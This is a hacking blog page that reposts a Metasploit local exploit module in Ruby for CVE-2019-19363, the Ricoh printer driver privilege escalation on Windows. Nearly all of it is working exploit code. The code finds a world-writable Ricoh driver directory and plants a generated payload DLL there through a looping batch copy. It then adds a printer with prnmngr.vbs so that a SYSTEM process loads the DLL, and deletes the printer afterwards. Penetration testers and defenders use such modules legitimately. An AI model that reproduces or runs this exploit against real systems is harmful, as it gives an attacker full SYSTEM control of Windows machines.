Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863556386

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ricoh Driver Privilege Escalation',
      'Description'    => %q(
        Various Ricoh printer drivers allow escalation of
        privileges on Windows systems.

        For vulnerable drivers, a low-privileged user can
        read/write files within the `RICOH_DRV` directory
        and its subdirectories.

        `PrintIsolationHost.exe`, a Windows process running
        as NT AUTHORITY\SYSTEM, loads driver-specific DLLs
        during the installation of a printer. A user can
        elevate to SYSTEM by writing a malicious DLL to
        the vulnerable driver directory and adding a new
        printer with a vulnerable driver.

        This module leverages the `prnmngr.vbs` script
        to add and delete printers. Multiple runs of this
        module may be required given successful exploitation
        is time-sensitive.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [
                            'Alexander Pudwill',  # discovery & PoC
                            'Pentagrid AG',       # PoC
                            'Shelby Pace'         # msf module
                          ],
      'References'     =>
        [
          [ 'CVE', '2019-19363'],
          [ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']
        ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Platform'       => 'win',
      'Payload'        =>
      {
      },
      'SessionTypes'   => [ 'meterpreter' ],
      'Targets'        =>
        [[
            'Windows', { 'Arch'  => [ ARCH_X86, ARCH_X64 ] }
        ]],
      'Notes'          =>
      {
        'SideEffects' =>  [ ARTIFACTS_ON_DISK ],
        'Reliability' =>  [ UNRELIABLE_SESSION ],
        'Stability'   =>  [ SERVICE_RESOURCE_LOSS ]
      },
      'DisclosureDate' => "Jan 22 2020",
      'DefaultTarget'  => 0
    ))

    self.needs_cleanup = true

    register_advanced_options([
      OptBool.new('ForceExploit', [ false, 'Override check result', false ])
    ])
  end

  def check
    dir_name = "C:\\ProgramData\\RICOH_DRV"

    return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
    driver_names = dir(dir_name)

    return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length

    vulnerable = false
    driver_names.each do |driver_name|
      full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"
      next unless directory?(full_path)
      @driver_path = full_path

      res = cmd_exec("icacls \"#{@driver_path}\"")
      next unless res.include?('Everyone:')
      next unless res.match(/\(F\)/)

      vulnerable = true
      break
    end

    return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable

    vprint_status("Vulnerable driver directory: #{@driver_path}")
    CheckCode::Appears('Ricoh driver directory has full permissions')
  end

  def add_printer(driver_name)
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)

    dll_data = generate_payload_dll
    dll_path = "#{@driver_path}\\headerfooter.dll"

    temp_path = expand_path('%TEMP%\\headerfooter.dll')
    vprint_status("Writing dll to #{temp_path}")

    bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
    cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
    bat_file = <<~HEREDOC
      :repeat
      #{cp_cmd} && goto :repeat
    HEREDOC

    write_file(bat_file_path, bat_file)
    write_file(temp_path, dll_data)
    register_files_for_cleanup(bat_file_path, temp_path)

    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
    bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
    print_status("Adding printer #{@printer_name}...")
    client.sys.process.execute(script_cmd, nil, { 'Hidden' => true })
    vprint_status("Executing script...")
    cmd_exec(bat_cmd)
  rescue Rex::Post::Meterpreter::RequestError => e
    e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'

    if sysinfo['Architecture'] != payload.arch.first
      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
    end

    @driver_path = ''
    unless check == CheckCode::Appears || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override')
    end

    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
    drvr_name = @driver_path.split('\\')
    drvr_name_idx = drvr_name.index('RICOH_DRV') + 1
    drvr_name = drvr_name[drvr_name_idx]

    add_printer(drvr_name)
  end

  def cleanup
    print_status("Deleting printer #{@printer_name}")
    Rex.sleep(3)
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
  end
end